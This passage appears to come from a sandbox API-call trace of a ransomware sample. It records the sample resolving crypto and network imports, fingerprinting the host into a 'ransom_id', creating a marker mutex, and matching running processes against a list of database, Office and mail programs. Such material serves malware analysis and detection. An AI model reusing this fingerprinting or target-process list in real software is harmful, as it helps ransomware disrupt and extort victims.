lpProcName="DefWindowProcW") returned 0x7720caa0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="UpdateWindow") returned 0x74527020 [0030.139] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x769b0000 [0030.139] GetProcAddress (hModule=0x769b0000, lpProcName="TextOutW") returned 0x76a5a630 [0030.139] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75d40000 [0030.139] GetProcAddress (hModule=0x75d40000, lpProcName="CryptExportKey") returned 0x75d5f8f0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="AllocateAndInitializeSid") returned 0x75d5f0c0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="RegSetValueExW") returned 0x75d5f0a0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="RegCreateKeyExW") returned 0x75d5f550 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="RegCloseKey") returned 0x75d5efa0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptAcquireContextW") returned 0x75d60730 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGetKeyParam") returned 0x75d75c90 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptReleaseContext") returned 0x75d60ad0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptImportKey") returned 0x75d5f890 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptEncrypt") returned 0x75d75bd0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenKey") returned 0x75d63fd0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="CryptDestroyKey") returned 0x75d5fc10 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="GetUserNameW") returned 0x75d60ee0 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="RegQueryValueExW") returned 0x75d5ed60 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="RegOpenKeyExW") returned 0x75d5ed80 [0030.140] GetProcAddress (hModule=0x75d40000, lpProcName="FreeSid") returned 0x75d604a0 [0030.140] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x74760000 [0033.271] GetProcAddress (hModule=0x74760000, lpProcName="SHGetSpecialFolderPathW") returned 0x748eedb0 [0033.272] GetProcAddress (hModule=0x74760000, lpProcName="ShellExecuteW") returned 0x748f4370 [0033.272] GetProcAddress (hModule=0x74760000, lpProcName="ShellExecuteExW") returned 0x748f4cb0 [0033.272] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x76ec0000 [0033.480] GetProcAddress (hModule=0x76ec0000, lpProcName="CryptStringToBinaryA") returned 0x76f08040 [0033.480] GetProcAddress (hModule=0x76ec0000, lpProcName="CryptBinaryToStringA") returned 0x76ee2290 [0033.480] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x73b20000 [0033.659] GetProcAddress (hModule=0x73b20000, lpProcName="HttpSendRequestW") returned 0x73b94510 [0033.659] GetProcAddress (hModule=0x73b20000, lpProcName="HttpOpenRequestW") returned 0x73be9fd0 [0033.659] GetProcAddress (hModule=0x73b20000, lpProcName="InternetCloseHandle") returned 0x73ba2410 [0033.660] GetProcAddress (hModule=0x73b20000, lpProcName="InternetOpenW") returned 0x73b92460 [0033.660] GetProcAddress (hModule=0x73b20000, lpProcName="InternetConnectW") returned 0x73bbb650 [0033.660] GetProcAddress (hModule=0x73b20000, lpProcName="InternetReadFile") returned 0x73b911e0 [0033.660] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x732d0000 [0033.871] GetProcAddress (hModule=0x732d0000, lpProcName="atexit") returned 0x732ec544 [0033.872] atexit (param_1=0x5456df) returned 0 [0033.872] Sleep (dwMilliseconds=0x3e8) [0034.875] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0034.875] RegQueryValueExW (in: hKey=0x174, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x540b90, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x540b90*=0x0, lpcbData=0x19fcb4*=0x2) returned 0x0 [0034.875] RegCloseKey (hKey=0x174) returned 0x0 [0034.876] wsprintfW (in: param_1=0x540b90, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0034.876] GetWindowsDirectoryW (in: lpBuffer=0x553680, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0034.876] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x553880, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x553c80, lpMaximumComponentLength=0x553c88, lpFileSystemFlags=0x553c84, lpFileSystemNameBuffer=0x553a80, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x553c80*=0xd2ca4def, lpMaximumComponentLength=0x553c88*=0xff, lpFileSystemFlags=0x553c84*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0034.876] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0034.876] RegQueryValueExW (in: hKey=0x174, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x553c8c, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x553c8c*=0x49, lpcbData=0x19fcb4*=0x54) returned 0x0 [0034.876] RegCloseKey (hKey=0x174) returned 0x0 [0034.876] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0034.876] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x174) returned 0x0 [0034.876] RegQueryValueExW (in: hKey=0x174, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x553cde, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x553cde*=0x49, lpcbData=0x19fcb4*=0x4a) returned 0x0 [0034.876] RegCloseKey (hKey=0x174) returned 0x0 [0034.876] wsprintfW (in: param_1=0x553278, param_2="%d" | out: param_1="-758493713") returned 10 [0034.876] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0034.876] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77190000 [0034.876] GetProcAddress (hModule=0x77190000, lpProcName="RtlComputeCrc32") returned 0x771b6b10 [0034.876] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0034.876] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x553278, Length=0xae) returned 0xdce1bb8b [0034.876] lstrlenW (lpString="WORKGROUP") returned 9 [0034.876] lstrlenW (lpString="pc_group") returned 8 [0034.876] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x3f0000 [0034.877] lstrcpyW (in: lpString1=0x3f0000, lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0034.877] lstrlenW (lpString="Global\\") returned 7 [0034.877] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0034.877] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0034.877] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0034.877] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0034.877] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x430000 [0034.877] wsprintfW (in: param_1=0x430000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0034.877] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0034.877] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0034.878] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0034.878] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0034.878] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.878] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0034.878] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 0x174 [0034.878] GetLastError () returned 0x0 [0034.878] GetLastError () returned 0x0 [0034.878] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d5c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178 [0034.878] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x1388) returned 0x102 [0039.884] TerminateThread (hThread=0x178, dwExitCode=0x0) returned 1 [0039.886] CloseHandle (hObject=0x178) returned 1 [0039.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0039.891] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0x430000 [0039.892] Process32FirstW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.892] lstrcmpiW (lpString1="msftesql.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="sqlagent.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="oracle.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="ocssd.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="synctime.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="ocomm.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="dbeng50.exe", lpString2="[System Process]") returned 1 [0039.892] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="excel.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="infopath.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="msaccess.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="mspub.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="onenote.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="outlook.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="powerpnt.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="steam.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="thebat.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="thebat64.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="thunderbird.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="visio.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="winword.exe", lpString2="[System Process]") returned 1 [0039.893] lstrcmpiW (lpString1="wordpad.exe", lpString2="[System Process]") returned 1 [0039.893] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.893] lstrcmpiW (lpString1="msftesql.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="sqlagent.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="oracle.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="ocssd.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="synctime.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="System") returned 1 [0039.893] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="System") returned -1 [0039.893] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="ocomm.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="dbeng50.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="excel.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="infopath.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="msaccess.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="mspub.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="onenote.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="powerpnt.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="steam.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.894] lstrcmpiW (lpString1="thebat.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="thebat64.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="thunderbird.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="visio.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="winword.exe", lpString2="System") returned 1 [0039.894] lstrcmpiW (lpString1="wordpad.exe", lpString2="System") returned 1 [0039.894] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.894] lstrcmpiW (lpString1="msftesql.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="sqlagent.exe", lpString2="smss.exe") returned 1 [0039.894] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="smss.exe") returned 1 [0039.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.894] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="smss.exe") returned 1 [0039.894] lstrcmpiW (lpString1="oracle.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="ocssd.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="synctime.exe", lpString2="smss.exe") returned 1 [0039.894] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="smss.exe") returned -1 [0039.894] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="ocomm.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="dbeng50.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="excel.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="infopath.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="msaccess.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="mspub.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="onenote.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="powerpnt.exe", lpString2="smss.exe") returned -1 [0039.895] lstrcmpiW (lpString1="steam.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="thebat.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="thebat64.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="thunderbird.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="visio.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="winword.exe", lpString2="smss.exe") returned 1 [0039.895] lstrcmpiW (lpString1="wordpad.exe", lpString2="smss.exe") returned 1 [0039.895] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.896] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0039.896] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0039.896] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0039.896] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0039.896] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0039.896] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.897] lstrcmpiW (lpString1="msftesql.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqlagent.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="oracle.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="ocssd.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="synctime.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="wininit.exe") returned 1 [0039.897] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="ocomm.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="dbeng50.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="excel.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="infopath.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="msaccess.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="mspub.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="onenote.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="powerpnt.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="steam.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="thebat.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="thebat64.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="thunderbird.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="visio.exe", lpString2="wininit.exe") returned -1 [0039.897] lstrcmpiW (lpString1="winword.exe", lpString2="wininit.exe") returned 1 [0039.897] lstrcmpiW (lpString1="wordpad.exe", lpString2="wininit.exe") returned 1 